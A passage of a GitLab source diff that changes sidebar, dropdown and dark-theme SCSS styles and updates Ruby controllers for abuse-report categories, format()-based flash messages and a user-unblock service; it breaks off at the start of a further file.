diff --git a/app/assets/stylesheets/framework/contextual_sidebar.scss b/app/assets/stylesheets/framework/contextual_sidebar.scss
index 34c7ffa58fe..1e05441c731 100644
--- a/app/assets/stylesheets/framework/contextual_sidebar.scss
+++ b/app/assets/stylesheets/framework/contextual_sidebar.scss
@@ -138,13 +138,12 @@
}
@mixin top-level-item {
+ @include gl-h-7;
@include gl-px-4;
- @include gl-py-3;
@include gl-display-flex;
@include gl-align-items-center;
@include gl-rounded-base;
@include gl-w-auto;
- @include gl-line-height-normal;
transition: none;
margin: $sidebar-top-item-tb-margin $sidebar-top-item-lr-margin;
@@ -339,6 +338,7 @@
a {
@include top-level-item;
@include context-header;
+ @include gl-h-auto;
}
}
}
@@ -348,6 +348,7 @@
.context-header a {
@include context-header;
+ @include gl-h-auto;
}
> li {
@@ -457,9 +458,9 @@
// PANELS-SPECIFIC
//
+.icon-avatar,
.settings-avatar {
svg {
margin: auto;
}
}
-
diff --git a/app/assets/stylesheets/framework/dropdowns.scss b/app/assets/stylesheets/framework/dropdowns.scss
index 0acda85f527..65d7eafb8b8 100644
--- a/app/assets/stylesheets/framework/dropdowns.scss
+++ b/app/assets/stylesheets/framework/dropdowns.scss
@@ -851,10 +851,6 @@
@include gl-focus($inset: true);
}
}
-
- .frequent-items-list-item-container a {
- display: flex;
- }
}
.section-header {
@@ -873,9 +869,10 @@
.frequent-items-item-title,
.frequent-items-item-namespace {
- max-width: 250px;
+ max-width: 220px;
text-overflow: ellipsis;
white-space: nowrap;
+ overflow: hidden;
}
.frequent-items-item-title {
@@ -895,6 +892,11 @@
.frequent-items-item-metadata-container {
float: none;
}
+
+ .frequent-items-item-title,
+ .frequent-items-item-namespace {
+ max-width: 250px;
+ }
}
}
diff --git a/app/assets/stylesheets/framework/selects.scss b/app/assets/stylesheets/framework/selects.scss
index ea741af918c..98083fbc72a 100644
--- a/app/assets/stylesheets/framework/selects.scss
+++ b/app/assets/stylesheets/framework/selects.scss
@@ -37,3 +37,14 @@
}
}
}
+
+.approvers-select {
+ .dropdown-menu {
+ @include gl-w-full;
+ @include gl-max-w-none;
+ }
+
+ .gl-dropdown-item-check-icon {
+ @include gl-display-none;
+ }
+}
diff --git a/app/assets/stylesheets/framework/super_sidebar.scss b/app/assets/stylesheets/framework/super_sidebar.scss
new file mode 100644
index 00000000000..59a9df9ede0
--- /dev/null
+++ b/app/assets/stylesheets/framework/super_sidebar.scss
@@ -0,0 +1,22 @@
+.super-sidebar {
+ top: 0;
+ width: $contextual-sidebar-width;
+
+ .user-bar {
+ background-color: $t-gray-a-04;
+
+ .tanuki-logo {
+ @include gl-vertical-align-middle;
+ }
+ }
+
+ .context-switcher-toggle {
+ &[aria-expanded='true'] {
+ background-color: $t-gray-a-08;
+ }
+ }
+}
+
+.with-performance-bar .super-sidebar {
+ top: $performance-bar-height;
+}
diff --git a/app/assets/stylesheets/framework/variables.scss b/app/assets/stylesheets/framework/variables.scss
index ec8ffaf8c53..539e92eeca4 100644
--- a/app/assets/stylesheets/framework/variables.scss
+++ b/app/assets/stylesheets/framework/variables.scss
@@ -392,7 +392,7 @@ $gl-font-size-large: 16px;
$gl-font-weight-normal: 400;
$gl-font-weight-bold: 600;
$gl-text-color: $gray-900;
-$gl-text-color-secondary: $gray-500;
+$gl-text-color-secondary: $gray-500 !default;
$gl-text-color-tertiary: $gray-400;
$gl-text-color-quaternary: #d6d6d6;
$gl-text-color-inverted: $white;
diff --git a/app/assets/stylesheets/lazy_bundles/select2_overrides.scss b/app/assets/stylesheets/lazy_bundles/select2_overrides.scss
index 2c5ea8347ae..e3cec187fab 100644
--- a/app/assets/stylesheets/lazy_bundles/select2_overrides.scss
+++ b/app/assets/stylesheets/lazy_bundles/select2_overrides.scss
@@ -339,19 +339,3 @@
display: inline;
}
}
-
-.gl-select2-html5-required-fix {
- .select2-container {
- + .select2 {
- @include gl-opacity-0;
- @include gl-border-0;
- @include gl-bg-none;
- @include gl-bg-transparent;
- display: block !important;
- width: 1px;
- height: 1px;
- z-index: -1;
- margin: -3px auto 0;
- }
- }
-}
diff --git a/app/assets/stylesheets/page_bundles/ci_status.scss b/app/assets/stylesheets/page_bundles/ci_status.scss
index 6b976106cc9..7adbf10b83a 100644
--- a/app/assets/stylesheets/page_bundles/ci_status.scss
+++ b/app/assets/stylesheets/page_bundles/ci_status.scss
@@ -1,10 +1,7 @@
@import 'mixins_and_variables_and_functions';
.ci-status {
- padding: 2px 7px 4px;
border: 1px solid var(--border-color, $border-color);
- white-space: nowrap;
- border-radius: 4px;
&:hover,
&:focus {
diff --git a/app/assets/stylesheets/page_bundles/editor.scss b/app/assets/stylesheets/page_bundles/editor.scss
index b7b698b2128..36da979ba1f 100644
--- a/app/assets/stylesheets/page_bundles/editor.scss
+++ b/app/assets/stylesheets/page_bundles/editor.scss
@@ -163,7 +163,6 @@
.gitignore-selector,
.gitlab-ci-yml-selector,
.dockerfile-selector,
- .template-type-selector,
.metrics-dashboard-selector {
display: inline-block;
vertical-align: top;
diff --git a/app/assets/stylesheets/page_bundles/import.scss b/app/assets/stylesheets/page_bundles/import.scss
index cd5e6d32e4e..a6c08e344f9 100644
--- a/app/assets/stylesheets/page_bundles/import.scss
+++ b/app/assets/stylesheets/page_bundles/import.scss
@@ -1,48 +1,10 @@
@import 'mixins_and_variables_and_functions';
-.import-jobs-from-col {
- width: 37%;
-}
-
-
-.import-jobs-to-col {
- width: 37%;
-}
-
-.import-jobs-status-col {
- width: 25%;
-}
-
-.import-jobs-cta-col {
- width: 1%;
-}
-
-.import-entities-target-select {
- &.disabled {
- .import-entities-target-select-separator {
- color: var(--gray-400, $gray-400);
- border-color: var(--gray-100, $gray-100);
- background-color: var(--gray-10, $gray-10);
- }
- }
-
- .import-entities-target-select-separator {
- border-color: var(--gray-200, $gray-200);
- background-color: var(--gray-10, $gray-10);
- }
-
- .gl-form-input {
- box-shadow: inset 0 0 0 1px var(--gray-200, $gray-200);
- }
-}
-
$import-bar-height: $gl-spacing-scale-11;
.import-table-bar {
- @include gl-sticky;
height: $import-bar-height;
top: $header-height;
- z-index: 3;
html.with-performance-bar & {
top: calc(#{$header-height} + #{$performance-bar-height});
@@ -50,16 +12,11 @@ $import-bar-height: $gl-spacing-scale-11;
}
.import-table {
- border-collapse: separate;
-
thead {
- @include gl-sticky;
- background-color: var(--gray-10, $gray-10);
top: calc(#{$header-height} + #{$import-bar-height});
- z-index: 3;
html.with-performance-bar & {
- top: calc(#{$header-height + $performance-bar-height} + #{$import-bar-height});
+ top: calc(#{$header-height} + #{$performance-bar-height} + #{$import-bar-height});
}
}
}
diff --git a/app/assets/stylesheets/page_bundles/members.scss b/app/assets/stylesheets/page_bundles/members.scss
index 8d2c0a8ca22..826921be8f0 100644
--- a/app/assets/stylesheets/page_bundles/members.scss
+++ b/app/assets/stylesheets/page_bundles/members.scss
@@ -76,6 +76,10 @@
width: px-to-rem(200px);
}
+ .col-activity {
+ width: px-to-rem(250px);
+ }
+
.col-actions {
width: px-to-rem(65px);
}
diff --git a/app/assets/stylesheets/page_bundles/merge_requests.scss b/app/assets/stylesheets/page_bundles/merge_requests.scss
index 4950561bcb7..5c699dd81df 100644
--- a/app/assets/stylesheets/page_bundles/merge_requests.scss
+++ b/app/assets/stylesheets/page_bundles/merge_requests.scss
@@ -1002,12 +1002,12 @@ $tabs-holder-z-index: 250;
.md-header {
.gl-tab-nav-item {
- @include gl-text-gray-900;
+ color: var(--gl-text-color, $gl-text-color);
@include gl-pb-5;
&:hover {
@include gl-bg-none;
- @include gl-text-gray-900;
+ color: var(--gl-text-color, $gl-text-color);
&:not(.gl-tab-nav-item-active) {
@include gl-inset-border-b-2-gray-200;
@@ -1017,7 +1017,7 @@ $tabs-holder-z-index: 250;
.gl-tab-nav-item-active {
@include gl-font-weight-bold;
- @include gl-text-gray-900;
+ color: var(--gl-text-color, $gl-text-color);
@include gl-inset-border-b-2-theme-accent;
&:active,
@@ -1197,13 +1197,13 @@ $tabs-holder-z-index: 250;
}
.mr-section-container {
+ .media-body {
+ column-gap: 0;
+ }
+
.state-container-action-buttons {
@include media-breakpoint-up(md) {
flex-direction: row-reverse;
-
- .btn {
- margin-left: auto;
- }
}
}
}
diff --git a/app/assets/stylesheets/page_bundles/oncall_schedules.scss b/app/assets/stylesheets/page_bundles/oncall_schedules.scss
index b995724ec7c..f08d6e3ca95 100644
--- a/app/assets/stylesheets/page_bundles/oncall_schedules.scss
+++ b/app/assets/stylesheets/page_bundles/oncall_schedules.scss
@@ -5,14 +5,14 @@
}
.timezone-dropdown {
- .dropdown-menu {
- @include gl-w-full;
- }
-
.gl-dropdown-item-text-primary {
@include gl-overflow-hidden;
@include gl-text-overflow-ellipsis;
}
+
+ .btn-block {
+ margin-bottom: 0;
+ }
}
.modal-footer {
@@ -20,7 +20,7 @@
}
.invalid-dropdown {
- .gl-dropdown-toggle {
+ .gl-button.gl-dropdown-toggle {
@include inset-border-1-red-500;
&:hover {
diff --git a/app/assets/stylesheets/page_bundles/todos.scss b/app/assets/stylesheets/page_bundles/todos.scss
index b35f5b38740..d4b0b4169d3 100644
--- a/app/assets/stylesheets/page_bundles/todos.scss
+++ b/app/assets/stylesheets/page_bundles/todos.scss
@@ -79,11 +79,11 @@
@include gl-py-0;
@include gl-px-1;
@include gl-m-0;
- @include gl-bg-gray-50;
@include gl-border-0;
@include gl-rounded-base;
@include gl-display-inline-flex;
- @include gl-text-body;
+ background: var(--gray-50, $gray-50);
+ color: var(--gl-text-color, $gl-text-color);
}
.gl-label-scoped {
diff --git a/app/assets/stylesheets/pages/ml_experiment_tracking.scss b/app/assets/stylesheets/pages/ml_experiment_tracking.scss
index c1582f2090b..3c025b5d23f 100644
--- a/app/assets/stylesheets/pages/ml_experiment_tracking.scss
+++ b/app/assets/stylesheets/pages/ml_experiment_tracking.scss
@@ -15,6 +15,20 @@
}
}
+table.ml-candidate-table {
+ table-layout: fixed;
+
+ tr td,
+ tr th {
+ padding: $gl-padding-8;
+
+ > * {
+ @include gl-display-block;
+ @include gl-text-truncate;
+ }
+ }
+}
+
table.candidate-details {
td {
padding: $gl-spacing-scale-3;
diff --git a/app/assets/stylesheets/pages/pipelines.scss b/app/assets/stylesheets/pages/pipelines.scss
index 89be1c024db..d26e29c4047 100644
--- a/app/assets/stylesheets/pages/pipelines.scss
+++ b/app/assets/stylesheets/pages/pipelines.scss
@@ -63,18 +63,17 @@
}
}
+ @include media-breakpoint-down(md) {
+ .time-ago {
+ align-items: flex-end;
+ }
+ }
+
.duration,
.finished-at {
color: $gl-text-color-secondary;
margin: 0;
white-space: nowrap;
-
- svg {
- width: 12px;
- height: 12px;
- vertical-align: middle;
- margin-right: 4px;
- }
}
.build-link a {
diff --git a/app/assets/stylesheets/pages/projects.scss b/app/assets/stylesheets/pages/projects.scss
index 15a32ea8ad3..ee91d955019 100644
--- a/app/assets/stylesheets/pages/projects.scss
+++ b/app/assets/stylesheets/pages/projects.scss
@@ -122,7 +122,7 @@
padding: 0;
background: transparent;
border: 0;
- line-height: 34px;
+ line-height: $gl-line-height-32;
margin: 0;
a {
@@ -495,7 +495,7 @@
.protected-branches-list,
.protected-tags-list {
- margin-bottom: 30px;
+ margin-bottom: 32px;
.settings-message {
margin: 0;
diff --git a/app/assets/stylesheets/startup/startup-dark.scss b/app/assets/stylesheets/startup/startup-dark.scss
index c7e55289b11..bb83a91bc57 100644
--- a/app/assets/stylesheets/startup/startup-dark.scss
+++ b/app/assets/stylesheets/startup/startup-dark.scss
@@ -536,10 +536,11 @@ a.gl-badge.badge-warning:active {
color: #89888d;
}
.gl-search-box-by-type-search-icon {
- margin: 0.5rem;
color: #89888d;
width: 1rem;
position: absolute;
+ left: 0.5rem;
+ top: calc(50% - 16px / 2);
}
.gl-search-box-by-type {
display: flex;
@@ -591,7 +592,7 @@ svg {
}
.toggle-sidebar-button .collapse-text,
.toggle-sidebar-button .icon-chevron-double-lg-left {
- color: #89888d;
+ color: #bfbfc3;
}
html {
overflow-y: scroll;
@@ -1136,15 +1137,13 @@ kbd {
}
.nav-sidebar li > a,
.nav-sidebar li > .fly-out-top-item-container {
+ height: 2rem;
padding-left: 0.75rem;
padding-right: 0.75rem;
- padding-top: 0.5rem;
- padding-bottom: 0.5rem;
display: flex;
align-items: center;
border-radius: 0.25rem;
width: auto;
- line-height: 1rem;
margin: 1px 8px;
}
.nav-sidebar li.active > a {
@@ -1373,19 +1372,18 @@ kbd {
margin-top: 0.25rem;
}
.nav-sidebar-inner-scroll > div.context-header a {
+ height: 2rem;
padding-left: 0.75rem;
padding-right: 0.75rem;
- padding-top: 0.5rem;
- padding-bottom: 0.5rem;
display: flex;
align-items: center;
border-radius: 0.25rem;
width: auto;
- line-height: 1rem;
margin: 1px 8px;
padding: 0.25rem;
margin-bottom: 0.25rem;
margin-top: 0.125rem;
+ height: auto;
}
.nav-sidebar-inner-scroll > div.context-header a .avatar-container {
font-weight: 400;
@@ -1398,6 +1396,7 @@ kbd {
padding: 0.25rem;
margin-bottom: 0.25rem;
margin-top: 0.125rem;
+ height: auto;
}
.sidebar-top-level-items .context-header a .avatar-container {
font-weight: 400;
@@ -1428,7 +1427,7 @@ kbd {
padding: 0 16px;
background-color: #24232a;
border: 0;
- color: #89888d;
+ color: #bfbfc3;
display: flex;
align-items: center;
background-color: #1f1e24;
diff --git a/app/assets/stylesheets/startup/startup-general.scss b/app/assets/stylesheets/startup/startup-general.scss
index f24b6fb9e81..9e1c6b065a0 100644
--- a/app/assets/stylesheets/startup/startup-general.scss
+++ b/app/assets/stylesheets/startup/startup-general.scss
@@ -536,10 +536,11 @@ a.gl-badge.badge-warning:active {
color: #737278;
}
.gl-search-box-by-type-search-icon {
- margin: 0.5rem;
color: #737278;
width: 1rem;
position: absolute;
+ left: 0.5rem;
+ top: calc(50% - 16px / 2);
}
.gl-search-box-by-type {
display: flex;
@@ -1136,15 +1137,13 @@ kbd {
}
.nav-sidebar li > a,
.nav-sidebar li > .fly-out-top-item-container {
+ height: 2rem;
padding-left: 0.75rem;
padding-right: 0.75rem;
- padding-top: 0.5rem;
- padding-bottom: 0.5rem;
display: flex;
align-items: center;
border-radius: 0.25rem;
width: auto;
- line-height: 1rem;
margin: 1px 8px;
}
.nav-sidebar li.active > a {
@@ -1373,19 +1372,18 @@ kbd {
margin-top: 0.25rem;
}
.nav-sidebar-inner-scroll > div.context-header a {
+ height: 2rem;
padding-left: 0.75rem;
padding-right: 0.75rem;
- padding-top: 0.5rem;
- padding-bottom: 0.5rem;
display: flex;
align-items: center;
border-radius: 0.25rem;
width: auto;
- line-height: 1rem;
margin: 1px 8px;
padding: 0.25rem;
margin-bottom: 0.25rem;
margin-top: 0.125rem;
+ height: auto;
}
.nav-sidebar-inner-scroll > div.context-header a .avatar-container {
font-weight: 400;
@@ -1398,6 +1396,7 @@ kbd {
padding: 0.25rem;
margin-bottom: 0.25rem;
margin-top: 0.125rem;
+ height: auto;
}
.sidebar-top-level-items .context-header a .avatar-container {
font-weight: 400;
diff --git a/app/assets/stylesheets/themes/_dark.scss b/app/assets/stylesheets/themes/_dark.scss
index 8db91fd9908..c471d6183d8 100644
--- a/app/assets/stylesheets/themes/_dark.scss
+++ b/app/assets/stylesheets/themes/_dark.scss
@@ -115,6 +115,8 @@ $data-viz-blue-950: #e9ebff;
$border-white-normal: $border-color;
+$gl-text-color-secondary: $gray-700;
+
$body-bg: $gray-10;
$input-bg: $white;
$input-focus-bg: $white;
@@ -130,7 +132,7 @@ $popover-color: $gray-950;
$popover-box-shadow: 0 2px 3px 1px $gray-700;
$popover-arrow-outer-color: $gray-800;
-$secondary: $gray-600;
+$secondary: $gray-700;
$yiq-text-dark: $gray-50;
$yiq-text-light: $gray-950;
diff --git a/app/assets/stylesheets/utilities.scss b/app/assets/stylesheets/utilities.scss
index 714dd932147..7d98a780e55 100644
--- a/app/assets/stylesheets/utilities.scss
+++ b/app/assets/stylesheets/utilities.scss
@@ -236,13 +236,44 @@ to @gitlab/ui by https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1709
}
}
-// TODO: Remove once https: //gitlab.com/gitlab-org/gitlab-ui/-/merge_requests/3198 is merged
-.gl-sm-ml-5 {
- @include gl-media-breakpoint-up(sm) {
- @include gl-ml-5;
+.gl-mt-n5 {
+ margin-top: -$gl-spacing-scale-5;
+}
+
+// Utils below are very specific so cannot be part of GitLab UI
+.gl-md-mt-5 {
+ @include gl-media-breakpoint-up(md) {
+ margin-top: $gl-spacing-scale-5;
+ }
+}
+
+.gl-sm-mr-0\! {
+ @include gl-media-breakpoint-down(md) {
+ margin-right: 0 !important;
+ }
+}
+
+.gl-sm-mb-5 {
+ @include gl-media-breakpoint-down(md) {
+ margin-bottom: $gl-spacing-scale-5;
+ }
+}
+
+.gl-md-mb-3\! {
+ @include gl-media-breakpoint-up(md) {
+ margin-bottom: $gl-spacing-scale-3 !important;
}
}
+
+.gl-gap-2 {
+ gap: $gl-spacing-scale-2;
+}
+
+.gl-hover-bg-t-gray-a-08:hover {
+ background-color: $t-gray-a-08;
+}
+
/* End gitlab-ui#1709 */
/*
@@ -263,3 +294,7 @@ to @gitlab/ui by https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1709
.gl-max-w-0 {
max-width: 0;
}
+
+.gl-isolate {
+ isolation: isolate;
+}
diff --git a/app/components/pajamas/badge_component.rb b/app/components/pajamas/badge_component.rb
index 4955bcd29ed..b60c12d20ef 100644
--- a/app/components/pajamas/badge_component.rb
+++ b/app/components/pajamas/badge_component.rb
@@ -23,7 +23,7 @@ module Pajamas
end
SIZE_OPTIONS = [:sm, :md, :lg].freeze
- VARIANT_OPTIONS = [:muted, :neutral, :info, :success, :warning, :danger].freeze
+ VARIANT_OPTIONS = [:muted, :neutral, :info, :success, :warning, :danger, :tier].freeze
private
diff --git a/app/controllers/abuse_reports_controller.rb b/app/controllers/abuse_reports_controller.rb
index 80aca7e21ce..eec56682300 100644
--- a/app/controllers/abuse_reports_controller.rb
+++ b/app/controllers/abuse_reports_controller.rb
@@ -1,14 +1,25 @@
# frozen_string_literal: true
class AbuseReportsController < ApplicationController
- before_action :set_user, only: [:new]
+ before_action :set_user, only: [:new, :add_category]
feature_category :insider_threat
def new
- @abuse_report = AbuseReport.new
- @abuse_report.user_id = @user.id
- @ref_url = params.fetch(:ref_url, '')
+ @abuse_report = AbuseReport.new(
+ user_id: @user.id,
+ reported_from_url: params.fetch(:ref_url, '')
+ )
+ end
+
+ def add_category
+ @abuse_report = AbuseReport.new(
+ user_id: @user.id,
+ category: report_params[:category],
+ reported_from_url: report_params[:reported_from_url]
+ )
+
+ render :new
end
def create
@@ -30,7 +41,7 @@ class AbuseReportsController < ApplicationController
private
def report_params
- params.require(:abuse_report).permit(:message, :user_id)
+ params.require(:abuse_report).permit(:message, :user_id, :category, :reported_from_url)
end
# rubocop: disable CodeReuse/ActiveRecord
diff --git a/app/controllers/admin/application_settings/appearances_controller.rb b/app/controllers/admin/application_settings/appearances_controller.rb
index 1a8447185a7..3cb31ff756f 100644
--- a/app/controllers/admin/application_settings/appearances_controller.rb
+++ b/app/controllers/admin/application_settings/appearances_controller.rb
@@ -68,7 +68,7 @@ class Admin::ApplicationSettings::AppearancesController < Admin::ApplicationCont
def allowed_appearance_params
%i[
title
- short_title
+ pwa_short_name
description
logo
logo_cache
diff --git a/app/controllers/admin/application_settings_controller.rb b/app/controllers/admin/application_settings_controller.rb
index b8c1bc266f7..ade58ca0970 100644
--- a/app/controllers/admin/application_settings_controller.rb
+++ b/app/controllers/admin/application_settings_controller.rb
@@ -137,8 +137,7 @@ class Admin::ApplicationSettingsController < Admin::ApplicationController
unless job_id.length <= PARAM_JOB_ID_MAX_SIZE
return render status: :bad_request, json: {
- message: _('Parameter "job_id" cannot exceed length of %{job_id_max_size}' %
- { job_id_max_size: PARAM_JOB_ID_MAX_SIZE })
+ message: format(_('Parameter "job_id" cannot exceed length of %{job_id_max_size}'), job_id_max_size: PARAM_JOB_ID_MAX_SIZE)
}
end
@@ -174,8 +173,7 @@ class Admin::ApplicationSettingsController < Admin::ApplicationController
unless job_id.length <= PARAM_JOB_ID_MAX_SIZE
return render status: :bad_request, json: {
- message: _('Parameter "job_id" cannot exceed length of %{job_id_max_size}' %
- { job_id_max_size: PARAM_JOB_ID_MAX_SIZE })
+ message: format(_('Parameter "job_id" cannot exceed length of %{job_id_max_size}'), job_id_max_size: PARAM_JOB_ID_MAX_SIZE)
}
end
diff --git a/app/controllers/admin/broadcast_messages_controller.rb b/app/controllers/admin/broadcast_messages_controller.rb
index 093c5667a24..d641a26c9fb 100644
--- a/app/controllers/admin/broadcast_messages_controller.rb
+++ b/app/controllers/admin/broadcast_messages_controller.rb
@@ -99,7 +99,6 @@ module Admin
end
def push_features
- push_frontend_feature_flag(:vue_broadcast_messages, current_user)
push_frontend_feature_flag(:role_targeted_broadcast_messages, current_user)
end
end
diff --git a/app/controllers/admin/dashboard_controller.rb b/app/controllers/admin/dashboard_controller.rb
index 37dde065e70..dab0f3e870a 100644
--- a/app/controllers/admin/dashboard_controller.rb
+++ b/app/controllers/admin/dashboard_controller.rb
@@ -2,6 +2,7 @@
class Admin::DashboardController < Admin::ApplicationController
include CountHelper
+ helper Admin::ComponentsHelper
COUNTED_ITEMS = [Project, User, Group].freeze
diff --git a/app/controllers/admin/groups_controller.rb b/app/controllers/admin/groups_controller.rb
index 8005babe19e..e3a33bafb62 100644
--- a/app/controllers/admin/groups_controller.rb
+++ b/app/controllers/admin/groups_controller.rb
@@ -41,7 +41,7 @@ class Admin::GroupsController < Admin::ApplicationController
@group = ::Groups::CreateService.new(current_user, group_params).execute
if @group.persisted?
- redirect_to [:admin, @group], notice: _('Group %{group_name} was successfully created.') % { group_name: @group.name }
+ redirect_to [:admin, @group], notice: format(_('Group %{group_name} was successfully created.'), group_name: @group.name)
else
render "new"
end
@@ -66,7 +66,7 @@ class Admin::GroupsController < Admin::ApplicationController
redirect_to admin_groups_path,
status: :found,
- alert: _('Group %{group_name} was scheduled for deletion.') % { group_name: @group.name }
+ alert: format(_('Group %{group_name} was scheduled for deletion.'), group_name: @group.name)
end
private
diff --git a/app/controllers/admin/impersonation_tokens_controller.rb b/app/controllers/admin/impersonation_tokens_controller.rb
index 9d884478e98..ddc555add5c 100644
--- a/app/controllers/admin/impersonation_tokens_controller.rb
+++ b/app/controllers/admin/impersonation_tokens_controller.rb
@@ -25,9 +25,9 @@ class Admin::ImpersonationTokensController < Admin::ApplicationController
@impersonation_token = finder.find(params[:id])
if @impersonation_token.revoke!
- flash[:notice] = _("Revoked impersonation token %{token_name}!") % { token_name: @impersonation_token.name }
+ flash[:notice] = format(_("Revoked impersonation token %{token_name}!"), token_name: @impersonation_token.name)
else
- flash[:alert] = _("Could not revoke impersonation token %{token_name}.") % { token_name: @impersonation_token.name }
+ flash[:alert] = format(_("Could not revoke impersonation token %{token_name}."), token_name: @impersonation_token.name)
end
redirect_to admin_user_impersonation_tokens_path
diff --git a/app/controllers/admin/projects_controller.rb b/app/controllers/admin/projects_controller.rb
index 9e841487508..5d37bd27302 100644
--- a/app/controllers/admin/projects_controller.rb
+++ b/app/controllers/admin/projects_controller.rb
@@ -43,7 +43,7 @@ class Admin::ProjectsController < Admin::ApplicationController
def destroy
::Projects::DestroyService.new(@project, current_user, {}).async_execute
- flash[:notice] = _("Project '%{project_name}' is in the process of being deleted.") % { project_name: @project.full_name }
+ flash[:notice] = format(_("Project '%{project_name}' is in the process of being deleted."), project_name: @project.full_name)
redirect_to admin_projects_path, status: :found
rescue Projects::DestroyService::DestroyError => e
diff --git a/app/controllers/admin/spam_logs_controller.rb b/app/controllers/admin/spam_logs_controller.rb
index 180f4634136..984ae736697 100644
--- a/app/controllers/admin/spam_logs_controller.rb
+++ b/app/controllers/admin/spam_logs_controller.rb
@@ -16,7 +16,7 @@ class Admin::SpamLogsController < Admin::ApplicationController
spam_log.remove_user(deleted_by: current_user)
redirect_to admin_spam_logs_path,
status: :found,
- notice: _('User %{username} was successfully removed.') % { username: spam_log.user.username }
+ notice: format(_('User %{username} was successfully removed.'), username: spam_log.user.username)
else
spam_log.destroy
head :ok
diff --git a/app/controllers/admin/topics_controller.rb b/app/controllers/admin/topics_controller.rb
index e97ead12f71..345a778772d 100644
--- a/app/controllers/admin/topics_controller.rb
+++ b/app/controllers/admin/topics_controller.rb
@@ -23,7 +23,7 @@ class Admin::TopicsController < Admin::ApplicationController
@topic = Projects::Topic.new(topic_params)
if @topic.save
- redirect_to edit_admin_topic_path(@topic), notice: _('Topic %{topic_name} was successfully created.') % { topic_name: @topic.name }
+ redirect_to edit_admin_topic_path(@topic), notice: format(_('Topic %{topic_name} was successfully created.'), topic_name: @topic.name)
else
render "new"
end
@@ -42,7 +42,7 @@ class Admin::TopicsController < Admin::ApplicationController
redirect_to admin_topics_path,
status: :found,
- notice: _('Topic %{topic_name} was successfully removed.') % { topic_name: @topic.title_or_name }
+ notice: format(_('Topic %{topic_name} was successfully removed.'), topic_name: @topic.title_or_name)
end
def merge
@@ -53,7 +53,7 @@ class Admin::TopicsController < Admin::ApplicationController
return render status: :bad_request, json: { type: :alert, message: response.message } if response.error?
message = _('Topic %{source_topic} was successfully merged into topic %{target_topic}.')
- flash[:toast] = message % { source_topic: source_topic.name, target_topic: target_topic.name }
+ flash[:toast] = format(message, source_topic: source_topic.name, target_topic: target_topic.name)
redirect_to admin_topics_path, status: :found
end
diff --git a/app/controllers/admin/users_controller.rb b/app/controllers/admin/users_controller.rb
index 5f6e3f0062f..4f379d8a75b 100644
--- a/app/controllers/admin/users_controller.rb
+++ b/app/controllers/admin/users_controller.rb
@@ -57,7 +57,7 @@ class Admin::UsersController < Admin::ApplicationController
log_impersonation_event
- flash[:alert] = _("You are now impersonating %{username}") % { username: user.username }
+ flash[:alert] = format(_("You are now impersonating %{username}"), username: user.username)
redirect_to root_path
else
@@ -81,7 +81,7 @@ class Admin::UsersController < Admin::ApplicationController
result = Users::RejectService.new(current_user).execute(user)
if result[:status] == :success
- redirect_back_or_admin_user(notice: _("You've rejected %{user}" % { user: user.name }))
+ redirect_back_or_admin_user(notice: format(_("You've rejected %{user}"), user: user.name))
else
redirect_back_or_admin_user(alert: result[:message])
end
@@ -105,7 +105,7 @@ class Admin::UsersController < Admin::ApplicationController
return redirect_back_or_admin_user(notice: _("Internal users cannot be deactivated")) if user.internal?
unless user.can_be_deactivated?
- return redirect_back_or_admin_user(notice: _("The user you are trying to deactivate has been active in the past %{minimum_inactive_days} days and cannot be deactivated") % { minimum_inactive_days: Gitlab::CurrentSettings.deactivate_dormant_users_period })
+ return redirect_back_or_admin_user(notice: format(_("The user you are trying to deactivate has been active in the past %{minimum_inactive_days} days and cannot be deactivated"), minimum_inactive_days: Gitlab::CurrentSettings.deactivate_dormant_users_period))
end
user.deactivate
@@ -124,8 +124,12 @@ class Admin::UsersController < Admin::ApplicationController
def unblock
if user.ldap_blocked?
- redirect_back_or_admin_user(alert: _("This user cannot be unlocked manually from GitLab"))
- elsif update_user { |user| user.activate }
+ return redirect_back_or_admin_user(alert: _("This user cannot be unlocked manually from GitLab"))
+ end
+
+ result = Users::UnblockService.new(current_user).execute(user)
+
+ if result.success?
redirect_back_or_admin_user(notice: _("Successfully unblocked"))
else
redirect_back_or_admin_user(alert: _("Error occurred. User was not unblocked"))
@@ -153,7 +157,7 @@ class Admin::UsersController < Admin::ApplicationController
end
def unlock
- if update_user { |user| user.unlock_access! }
+ if update_user(&:unlock_access!)
redirect_back_or_admin_user(notice: _("Successfully unlocked"))
else
redirect_back_or_admin_user(alert: _("Error occurred. User was not unlocked"))
@@ -161,7 +165,7 @@ class Admin::UsersController < Admin::ApplicationController
end
def confirm
- if update_user { |user| user.force_confirm }
+ if update_user(&:force_confirm)
redirect_back_or_admin_user(notice: _("Successfully confirmed"))
else
redirect_back_or_admin_user(alert: _("Error occurred. User was not confirmed"))
@@ -358,6 +362,7 @@ class Admin::UsersController < Admin::ApplicationController
:username,
:website_url,
:note,
+ :private_profile,
credit_card_validation_attributes: [:credit_card_validated_at]
]
end
@@ -377,7 +382,7 @@ class Admin::UsersController < Admin::ApplicationController
end
def log_impersonation_event
- Gitlab::AppLogger.info(_("User %{current_user_username} has started impersonating %{username}") % { current_user_username: current_user.username, username: user.username })
+ Gitlab::AppLogger.info(format(_("User %{current_user_username} has started impersonating %{username}"), current_user_username: current_user.username, username: user.username))
end
def can_impersonate_user
diff --git a/app/controllers/application_controller.rb b/app/controllers/application_controller.rb
index e64d3110c3a..36aae42e21f 100644
--- a/app/controllers/application_controller.rb
+++ b/app/controllers/application_controller.rb
@@ -24,6 +24,7 @@ class ApplicationController < ActionController::Base
include ::Gitlab::EndpointAttributes
include FlocOptOut
include CheckRateLimit
+ extend ContentSecurityPolicyPatch
before_action :limit_session_time, if: -> { !current_user }
before_action :authenticate_user!, except: [:route_not_found]
diff --git a/app/controllers/autocomplete_controller.rb b/app/controllers/autocomplete_controller.rb
index 45585ab84b4..668b2ebaf9e 100644
--- a/app/controllers/autocomplete_controller.rb
+++ b/app/controllers/autocomplete_controller.rb
@@ -9,7 +9,7 @@ class AutocompleteController < ApplicationController
feature_category :users, [:users, :user]
feature_category :projects, [:projects]
feature_category :team_planning, [:award_emojis]
- feature_category :code_review, [:merge_request_target_branches]
+ feature_category :code_review_workflow, [:merge_request_target_branches]
feature_category :continuous_delivery, [:deploy_keys_with_owners]
urgency :low, [:merge_request_target_branches, :deploy_keys_with_owners, :users]
diff --git a/app/controllers/concerns/access_tokens_actions.rb b/app/controllers/concerns/access_tokens_actions.rb
index fdb08c6572f..6a84c436aae 100644
--- a/app/controllers/concerns/access_tokens_actions.rb
